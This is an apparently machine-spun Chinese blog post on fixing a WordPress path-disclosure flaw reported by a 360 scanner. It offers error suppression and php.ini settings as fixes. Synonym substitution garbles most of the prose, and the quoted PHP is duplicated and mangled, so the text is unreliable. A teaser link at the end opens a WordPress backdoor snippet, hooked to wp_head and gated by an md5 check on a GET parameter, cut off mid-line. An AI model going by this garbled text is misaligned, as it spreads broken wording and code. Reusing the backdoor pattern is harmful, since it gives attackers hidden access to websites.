某天用360的破绽检测,总共用了56分钟才检测完。
检测后果如图:
破绽修复
破绽文件:(依据报警信息,修正这些文件,并不是每集体都一样)
1、/wp-includes/registration-functions.php
2、/wp-admin/admin-functions.php
修复办法一:在以上文件的的头部 error_reporting(0);
修复办法二:找到/wp-includes/registration-functions.php文件将代码:
/**
* Deprecated. No longer needed.
*
* @package WordPress
*/
_deprecated_file( basename(__FILE__), ‘2.1’, null, __( ‘This file no longer needs to be included.’ ) );
* Deprecated. No longer needed.
*
* @package WordPress
*/
@_deprecated_file( basename(__FILE__), ’2.1′, null, __( ’This file no longer needs to be included.’ ) );
修复办法三:进入PHP.INI禁用PHP报错。
以上就是安达网络工作室关于《WordPress博客出现的**路径泄露漏洞及修复方法》的一些看法。更多内容请查看本栏目更多内容!
复制代码代码如下:add_action( 'wp_head', 'my_backdoor' );function my_backdoor() {if ( md5( $_GET['bac...
家喻户晓,WordPress中文版有个特性,会将每一处英文引号("")都稀里哗啦转化为中文引号(“”)...
明天给大家引见两个兄弟版的WordPress插件:WP CSS和WP JS,作者都是Halmat Ferello。 WP CSS WP CSS能主动...
WordPress有着比拟弱小的分类机制,包括文章分类、标签等,弱小的分类机制能够用来完成门户网站的相似二级频...
渣滓评论曾经不是一个新颖的货色了,置信只需是日独立IP超越2000的网站,只需开放评论的话,每天都会收到几...
本文实例讲述了制止WordPress主动交换半角标点符号的办法。分享给大家供大家参考。详细剖析如下: 用wordpr...